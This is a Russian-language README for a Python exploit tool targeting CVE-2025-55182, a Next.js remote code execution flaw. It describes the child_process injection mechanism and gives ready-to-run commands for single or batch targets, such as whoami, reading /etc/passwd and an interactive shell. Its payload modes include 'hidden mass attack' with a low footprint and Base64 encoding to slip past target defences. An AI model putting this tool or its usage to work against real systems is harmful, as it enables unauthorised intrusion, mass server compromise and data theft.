
Python-эксплойт для CVE-2025-55182 (Next.js RCE) со сканированием одиночных/пакетных целей, выполнением команд, интерактивной оболочкой и 4 режимами атаки с поддержкой кодирования Base64.
Данный инструмент предназначен для обнаружения и эксплуатации уязвимости CVE-2025-55182 (предположительно уязвимость выполнения кода во фреймворках, связанных с Next.js). Поддерживает одиночные/множественные цели для пакетного сканирования, выполнение команд, интерактивную оболочку и другие функции. Предоставляет 4 режима атаки для разных сценариев, поддерживает команды в Base64, прокси-пересылку, ведение журналов и другие гибкие настройки.
Уязвимость CVE-2025-55182 может существовать в приложениях на базе Next.js. Путём создания вредоносного запроса изменяется логика выполнения в _response, внедряется вызов модуля child_process, что позволяет выполнить удалённый код (RCE). Инструмент отправляет специально сформированные данные формы, вызывая уязвимость и возвращая результат выполнения команды.
requestspip install requests
# Выполнить команду whoami (режим атаки 1: с ответом)
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami"
# Выполнить системную команду (Base64-кодирование, чтобы избежать перехвата спецсимволов)
python CVE-2025-55182-exploit.py -u https://target.com -c "cat /etc/passwd" -b
# Режим полного ответа (результат возвращается с Base64-декодированием)
python CVE-2025-55182-exploit.py -u https://target.com -c "ipconfig" -p 4
# Чтение целевых URL из файла, массовое выполнение команды id (20 потоков)
python CVE-2025-55182-exploit.py -l targets.txt -c "id" -t 20 -o result.log
# Подключиться к цели и войти в интерактивную командную строку (поддержка переключения Base64)
python CVE-2025-55182-exploit.py -u https://target.com -s
# Перехват и анализ трафика через прокси Burp Suite
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami" --proxy http://127.0.0.1:8080
| Параметр | Сокращение | Обязательный | Описание | Пример |
|---|---|---|---|---|
--url | -u | нет | URL одиночной цели (взаимоисключающ с -l, приоритет у -u) | -u https://target.com |
--url-list | -l | нет | Файл со списком целевых URL (по одному URL на строку, поддерживает URL без протокола, автоматически добавляет http/https) | -l urls.txt |
--payload | -p | нет | Режим атаки (по умолчанию: 1) 1=с ответом (execSync) | 2=без ответа (execSync) 3=без ответа (exec) |
--cmd | -c | нет | Системная команда для выполнения (обязательна в пакетном режиме / для одиночной цели, взаимоисключающа с -s) | -c "whoami" или -c "dir" |
--threads | -t | нет | Количество потоков при пакетном сканировании (по умолчанию: 10, рекомендуется не более 50) | -t 20 |
--outlog | -o | нет | Файл журнала (по умолчанию: cve-2025-55182.log) | -o exploit.log |
--base64 | -b | нет | Кодировать команду из -c в Base64 (чтобы избежать перехвата спецсимволов) | -c "cat /etc/passwd" -b |
--cmd-shell | -s | нет | Интерактивный режим оболочки (только для одиночной цели -u, взаимоисключающ с -c) | -u https://target.com -s |
--proxy | - | нет | Настройка прокси (поддержка HTTP/HTTPS прокси, для перехвата трафика или пересылки) | --proxy http://127.0.0.1:8080 |
--skip-check | - | нет | Пропустить проверку доступности прокси (по умолчанию проверяется работоспособность прокси) | --proxy http://127.0.0.1:8080 --skip-check |
--time-out | - | нет | Таймаут запроса (в секундах, по умолчанию: 10) | --time-out 15 |
| Номер режима | Описание режима | Особенности | Сценарии применения |
|---|---|---|---|
| 1 | С ответом (execSync) | Синхронное выполнение команды, возвращается редирект 303, результат содержится в заголовках ответа | Быстрая проверка наличия уязвимости |
| 2 | Без ответа (execSync) | Синхронное выполнение команды, результат не возвращается (необходимо подтверждать эффект другими способами) | Скрытое выполнение операций |
| 3 | Без ответа (exec) | Асинхронное выполнение команды, результат не возвращается (низкий след, подходит для операций без подтверждения) | Скрытая массовая атака |
| 4 | Полный ответ | Синхронное выполнение команды, результат возвращается в теле ответа в Base64 (инструмент декодирует автоматически) | Сценарии, где нужен полный вывод команды |
После входа в режим -s доступны следующие встроенные команды:
| Команда | Описание функции |
|---|---|
b64 | Переключиться в режим команд с Base64-кодированием |
nob64 | Выйти из режима Base64 |
exit | Выйти из интерактивной оболочки |
? | Показать справочную информацию |
--outlog, для последующего анализа;-u и -l взаимоисключающие; если указаны оба, приоритет у -u;-c и -s взаимоисключающие; в режиме -s указывать -c не требуется;-l не содержит протокола (например, target.com), инструмент автоматически попробует http:// и https://;https://target.com), чтобы избежать лишних ошибок подключения;-b или b64 инструмент автоматически выполняет кодирование/декодирование Base64, ручные действия не требуются;--time-out, чтобы избежать ложных срабатываний.--skip-check для пропуска проверки;-p 4 — режим полного ответа);-b), чтобы команда не была перехвачена целевой системой;--time-out;http://target.com).